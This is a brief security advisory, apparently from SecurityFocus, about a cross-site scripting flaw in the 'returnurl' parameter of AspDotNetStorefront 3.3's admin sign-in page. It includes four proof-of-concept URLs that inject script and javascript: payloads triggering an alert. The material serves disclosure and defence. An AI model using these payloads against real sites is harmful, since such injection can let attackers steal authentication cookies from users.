source: https://www.securityfocus.com/bid/10507/info AspDotNetStorefront is prone to a cross-site scripting vulnerability. This issue exists due to insufficient sanitization of user-supplied data. The problem presents itself in the 'returnurl' parameter of the 'signin.aspx' script of the application and can allow remote attackers to steal cookie-based authentication credentials and carry out other attacks. AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well. http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style= "background:url(javascript:alert('Vulnerable_To_XSS'))"%20" http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri pt>alert('Vulnerable_To_XSS')</script> http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri pt>alert("Vulnerable_To_XSS")</script> http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img %20src="javascript:alert('Vulnerable_To_XSS')">